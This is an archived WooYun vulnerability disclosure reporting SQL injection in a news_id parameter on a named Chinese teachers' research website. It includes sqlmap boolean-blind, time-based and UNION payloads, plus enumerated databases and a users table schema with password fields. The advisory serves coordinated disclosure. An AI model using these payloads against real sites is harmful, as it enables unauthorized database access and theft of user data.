当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131245

漏洞标题:国家教师科研网主站存在sql注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: pomelo

提交时间:2015-08-05 16:10

修复时间:2015-09-21 13:46

公开时间:2015-09-21 13:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-05: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-17: 细节向核心白帽子及相关领域专家公开
2015-08-27: 细节向普通白帽子公开
2015-09-06: 细节向实习白帽子公开
2015-09-21: 细节向公众公开

简要描述:

向伟大的人民教师致敬,作为国家级的教师科研网站,存在sql注入漏洞可不好

详细说明:

注入URL:

www.chcei.org/list_news.php?news_id=1409


sqlmap判定:

Parameter: news_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: news_id=1409' AND 2629=2629 AND 'ZYDu'='ZYDu
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: news_id=1409' AND (SELECT * FROM (SELECT(SLEEP(5)))FGXS) AND 'zGnQ'='zGnQ
Type: UNION query
Title: Generic UNION query (NULL) - 30 columns
Payload: news_id=1409' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767171,0x746543514b5171656962,0x7176766271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.8, PHP 5.2.5
back-end DBMS: MySQL 5.0.12


available databases [8]:
[*] dongfang
[*] eehua
[*] eehua2
[*] information_schema
[*] mysql
[*] test
[*] yanyuan
[*] zhongjiao


current database:    'zhongjiao'


current user:    'root@localhost'


chcei01.png


Database: zhongjiao
[8 tables]
+------------+
| aplication |
| bbs |
| bbs_users |
| connto |
| guanggao |
| news |
| newstype |
| users |
+------------+


Database: zhongjiao
Table: users
[26 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| Position | varchar(20) |
| Address | varchar(50) |
| Brith | varchar(20) |
| ClearPasswd | varchar(20) |
| Code | int(11) |
| Com_Name | varchar(50) |
| Create_Time | datetime |
| Detail | varchar(200) |
| Email | varchar(20) |
| EnPassWord | varchar(50) |
| Fex | varchar(20) |
| Mob | varchar(16) |
| My_Local | varchar(22) |
| Name | varchar(20) |
| Num | int(11) |
| PassWord | varchar(50) |
| Person_Num | varchar(22) |
| QiTa | varchar(50) |
| Regist_Num | varchar(20) |
| Scodes | int(11) |
| Sex | varchar(4) |
| Tel | varchar(20) |
| Umail | varchar(50) |
| Up_Date | date |
| UserType | int(1) |
| Xingqu | varchar(200) |
+-------------+--------------+


chcei02.png


漏洞证明:

Parameter: news_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: news_id=1409' AND 2629=2629 AND 'ZYDu'='ZYDu
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: news_id=1409' AND (SELECT * FROM (SELECT(SLEEP(5)))FGXS) AND 'zGnQ'='zGnQ
Type: UNION query
Title: Generic UNION query (NULL) - 30 columns
Payload: news_id=1409' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767171,0x746543514b5171656962,0x7176766271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.8, PHP 5.2.5
back-end DBMS: MySQL 5.0.12

修复方案:

过滤

版权声明:转载请注明来源 pomelo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-07 13:44

厂商回复:

CNVD确认并复现
所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)
通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评论